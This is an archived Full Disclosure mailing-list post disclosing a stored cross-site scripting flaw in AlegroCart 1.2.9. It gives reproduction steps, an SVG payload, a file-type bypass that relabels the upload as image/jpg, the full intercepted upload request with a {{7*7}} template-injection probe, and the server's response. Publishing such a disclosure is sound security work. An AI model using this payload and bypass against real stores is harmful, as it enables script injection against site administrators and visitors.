lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <CAF2Wu1YQ2kc7WN+C7v6AreZ2EJwj+_=W5MNzkK-ji72hCOf5pw@mail.gmail.com> Date: Wed, 23 Apr 2025 22:06:57 +0100 From: Andrey Stoykov <mwebsec@...il.com> To: fulldisclosure@...lists.org Subject: [FD] XSS via SVG Image Upload - AlegroCartv1.2.9 # Exploit Title: XSS via SVG Image Upload - alegrocartv1.2.9 # Date: 04/2025 # Exploit Author: Andrey Stoykov # Version: 1.2.9 # Tested on: Debian 12 # Blog: https://msecureltd.blogspot.com/ XSS via SVG Image Upload: Steps to Reproduce: 1. Visit http://192.168.58.129/alegrocart/administrator/?controller=download 2. Upload SVG image file with the contents below 3. Intercept the POST request and change the Content-Type to "Content-Type: image/jpg" 4. Then visit "http://192.168.58.129/alegrocart/download/xss.svg" to trigger the XSS <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <foreignObject width="100%" height="100%"> <body xmlns="http://www.w3.org/1999/xhtml"> <input type="text" onkeyup="prompt('XSS Triggered!')" placeholder="Type here..."/> </body> </foreignObject> </svg> // HTTP POST request POST /alegrocart/administrator/?controller=download&action=insert HTTP/1.1 Host: 192.168.58.129 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0 [...] ------geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc Content-Disposition: form-data; name="language[1][name]" {{7*7}} ------geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc Content-Disposition: form-data; name="fileName" xss.svg ------geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc Content-Disposition: form-data; name="download"; filename="xss.svg" Content-Type: image/jpg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <foreignObject width="100%" height="100%"> <body xmlns="http://www.w3.org/1999/xhtml"> <input type="text" onkeyup="prompt('XSS Triggered!')" placeholder="Type here..."/> </body> </foreignObject> </svg> ------geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc Content-Disposition: form-data; name="mask" 6760664742675684.svg ------geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc Content-Disposition: form-data; name="remaining" 1 ------geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc Content-Disposition: form-data; name="79d45153379f999ff64e1198b05faae6" 586fdeeeaf42c0c557291be4d32afe11 ------geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc-- // HTTP Response HTTP/1.1 302 Found Date: Thu, 03 Apr 2025 20:42:59 GMT Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3 X-Powered-By: PHP/5.6.40 Location: http://192.168.58.129/alegrocart/administrator/?controller=download Cache-Control: max-age=0, private, no-store, no-cache, must-revalidate Expires: Thu, 03 Apr 2025 20:42:59 GMT Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Powered by blists - more mailing lists